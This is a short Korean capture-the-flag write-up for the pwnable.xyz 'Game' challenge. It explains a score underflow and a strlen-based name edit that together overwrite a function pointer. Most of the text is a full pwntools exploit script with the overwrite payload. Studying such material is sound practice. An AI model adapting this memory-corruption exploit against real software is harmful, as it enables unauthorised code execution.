pwn/pwnable.xyz
pwnable.xyz / Game
lok2h4rd
2022. 5. 12. 17:32
- 게임 시작 ( play_game )
- 게임 저장 ( save_game )
- 이름 수정 ( edit_name )
맞추면 점수가 1 증가하고 틀리면 1감소한다
새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다
strlen으로 길이를 구해서 이름을 수정한다
name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다
score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다
from pwn import *
p = process("./Game")
#gdb.attach(p)
def play_game():
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"= ")
p.sendline(b"123")
def save_game():
p.recvuntil(b"> ")
p.sendline(b"2")
def edit_game(data):
p.recvuntil(b"> ")
p.sendline(b"3")
sleep(0.1)
p.send(data)
payload = b"A" * 0x10
p.recvuntil(b"Name: ")
p.send(payload)
play_game()
save_game()
payload = b"A" * 0x18
payload += b"\xd6\x09\x40"
edit_game(payload)
p.recvuntil(b"> ")
p.sendline(b"1")
p.interactive()